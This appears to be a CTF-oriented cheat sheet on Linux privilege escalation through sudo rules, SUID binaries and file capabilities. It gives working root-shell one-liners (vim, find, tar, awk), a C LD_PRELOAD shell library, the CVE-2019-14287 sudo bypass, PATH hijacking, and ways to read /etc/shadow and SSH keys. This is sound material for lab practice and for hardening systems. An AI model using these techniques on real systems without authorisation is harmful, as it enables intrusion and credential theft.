Linux privilege escalation: sudo, SUID and capabilities
The three checks that give the most roots on Hack The Box: what sudo lets you run, which binaries are SUID and which capabilities they carry, with the usual abuse for each case.
You just landed as www-data or a regular user. Before firing linPEAS and getting lost in 2,000 lines, check these three things by hand: across the machines in this catalogue, sudo is by far the most common route to root.
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
sudo -l
sudo -l tells you what you can run as another user. Read the output carefully:
User alex may run the following commands on box:
(root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
(ALL, !root) /bin/bash
(root) SETENV: /opt/scripts/backup.sh
env_keep+=LD_PRELOAD
A well-known binary
If it is a regular program (vim, less, find, awk, tar, git, python...), look it up on GTFOBins, Sudo section. Almost all of them let you spawn a shell:
sudo vim -c ':!/bin/sh'
sudo less /etc/profile # then type !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git -p help config # then !/bin/sh
Tip
Even if the rule pins the arguments (/usr/bin/vim /etc/nginx/nginx.conf), once inside vim you can still run commands. What matters is whether the program lets you escape to a shell.
A custom script
If it is a script (/opt/scripts/backup.sh), read all of it and ask yourself:
- Can I write to the script or its folder? Then change it.
- Does it call programs without an absolute path (
tarinstead of/usr/bin/tar)? If the rule hasSETENVor there is nosecure_path, put your owntarfirst in thePATH(path hijacking). - Does it use
*on files you control? Wildcards turn into options (--checkpoint-action=exec=...fortar). - Does it import a Python library or load something from a folder you can write to?
- Does it compare with an unquoted
==in bash ([[ $pass == $input ]])? A*passes the check and you can extract the password one character at a time.
LD_PRELOAD
If the output shows env_keep+=LD_PRELOAD, any allowed command will do. Build a library that spawns a shell when it loads:
// /tmp/x.c -> gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
sudo LD_PRELOAD=/tmp/x.so /usr/bin/whatever_you_are_allowed
(ALL, !root)
The rule (ALL, !root) /bin/bash means "as anyone except root". On sudo before 1.8.28, user -1 turns into 0 (CVE-2019-14287):
sudo -u#-1 /bin/bash
SUID binaries
A binary with the SUID bit runs with its owner's permissions. If the owner is root and the program lets you run something, you are root.
find / -perm -4000 -type f -ls 2>/dev/null
Ignore the usual ones (passwd, su, mount, sudo, chsh...) and focus on the odd ones: things in /opt, /usr/local/bin, or programs that should not be SUID (find, bash, python, vim, cp). GTFOBins has a SUID section for those:
./find . -exec /bin/sh -p \; -quit
/usr/bin/bash -p
Important
The -p is key. Without it, bash and dash drop privileges on start-up when the real and effective UIDs differ, and you are back to your own user.
Custom SUID binaries
If it is a custom binary, see what it does before diving into reversing:
strings -n 6 /usr/local/bin/monitor
ltrace /usr/local/bin/monitor # library calls: system(), strcmp()...
strace -f -e trace=execve,openat /usr/local/bin/monitor
If you see something like system("service apache2 status"), the program calls service without a path:
cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > service && chmod +x service
PATH=/tmp:$PATH /usr/local/bin/monitor
If it reads or writes files, try symlinks. If it is a binary with badly handled input, you are into buffer overflow territory.
Capabilities
Capabilities split root's powers into pieces. A binary can hold just one of them and that can still be enough.
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
| Capability | Abuse |
|---|---|
cap_setuid |
Switch to UID 0 and spawn a shell |
cap_dac_read_search |
Read any file (/etc/shadow, root's SSH keys) |
cap_dac_override |
Write to any file (/etc/passwd, /etc/sudoers) |
cap_chown, cap_fowner |
Take ownership of /etc/shadow or change its permissions |
cap_sys_admin |
Mount filesystems and much more; nearly root |
cap_sys_ptrace |
Inject code into a root process |
cap_net_raw |
Sniff traffic (tcpdump): cleartext passwords on the local network |
With cap_setuid on an interpreter:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
If none of this works
Move on to the next most likely routes in this catalogue: cron jobs (watch them with pspy), credentials in files, password reuse, groups such as docker, lxd or disk, and services listening only on localhost (see the port forwarding guide).